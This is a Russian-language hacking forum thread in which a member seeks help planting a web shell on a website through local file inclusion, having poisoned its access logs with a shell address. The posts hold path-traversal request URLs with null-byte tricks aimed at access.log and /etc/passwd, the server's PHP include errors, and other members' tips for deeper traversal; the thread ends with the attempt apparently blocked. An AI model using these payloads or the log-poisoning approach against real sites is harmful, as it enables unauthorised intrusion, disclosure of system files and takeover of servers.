Помогите залить шелл

Discussion in 'Уязвимости' started by ttt0z, 24 Jan 2009.

  1. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    80
    Likes Received:
    10
    Reputations:
    -5
    зы не удаляете модеры плиз.

    сделал запрос к сайту с адресом шелла.
    адресс шела остался в логах. теперь надо как то инклюдить логи.

    нужно найти лог как то.


    я ввел:
    http://www.site.ru/index.php?id=../../../../../www.site.ru/logs/access.log%00


    вот что пишет:


    Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

    Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

    Warning: main() [function.include]: Failed opening 'texts/../../../../../www.site.ru/logs/access.log .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6

    подскажите кто нибудь?
     
    #1 ttt0z, 24 Jan 2009
    Last edited: 24 Jan 2009
    4 people like this.
  2. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    565
    Likes Received:
    309
    Reputations:
    27
    и че ты делаешь, ты подымаешься в корень / и пытаешься открыть там /www.site.ru/logs/access.log,
    попробуй для начала хотя бы прочитать ../../../../../etc/passwd%00
     
  3. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    80
    Likes Received:
    10
    Reputations:
    -5
    AkyHa_MaTaTa:

    Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

    Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

    Warning: main() [function.include]: Failed opening 'texts/../../../../../etc/passwd .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
     
  4. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,364
    Likes Received:
    1,134
    Reputations:
    430
    No such file or directory
    Переведи это...
     
  5. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    80
    Likes Received:
    10
    Reputations:
    -5
    и похоже %00 не работает, есть какой-то аналог?

    пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться

    пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться
     
  6. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    80
    Likes Received:
    10
    Reputations:
    -5
    xcedz, бл* я знаю как переводиться. но это ту не причем!

    вот пример! который показывает что %00 не работает!

    index.php добавляет ".PHP" к запросу!

    пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться
    ///ЗДЕСЬ он дабавляет и все работает

    пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться
    /// ЗДЕСЬ %00 должен обрубить правую часть но он не обрубает!!

    и кто тугой бля*?? причем тут перевод???
     
  7. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    565
    Likes Received:
    309
    Reputations:
    27
    passwd_.php null байт не канает, напряги мозги, и подумай, там ничего сложного нету
     
  8. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    80
    Likes Received:
    10
    Reputations:
    -5
    AkyHa_MaTaTa ты написал null байт

    вот без нул байта:

    Warning: main(texts/../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

    Warning: main(texts/../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

    Warning: main() [function.include]: Failed opening 'texts/../../../../../etc/passwd.php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
     
  9. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    80
    Likes Received:
    10
    Reputations:
    -5
    xcedz не выводит!
     
    1 person likes this.
  10. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    584
    Likes Received:
    284
    Reputations:
    51
    попробуй ../../../../../../../../../etc/passwd? ;)
     
  11. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    80
    Likes Received:
    10
    Reputations:
    -5
    xcedz, я бл* прошу помощи, а ты тут выеб*шся..
     
  12. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    80
    Likes Received:
    10
    Reputations:
    -5
    а мне интересно как получить шел.
    все такие умные. объяснили бы новичку нормально что да как.
     
  13. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    565
    Likes Received:
    309
    Reputations:
    27
    я наверно не правильно написал, null байт не канает(судя по ошибке),а это озаначает что все равно будет добавляться .php расширения, так что инклюдить выйдет тока php файлы.
     
  14. ttt0z

    ttt0z Member

    Joined:
    18 Nov 2007
    Messages:
    80
    Likes Received:
    10
    Reputations:
    -5
    я так и думал.
     
    1 person likes this.
Loading...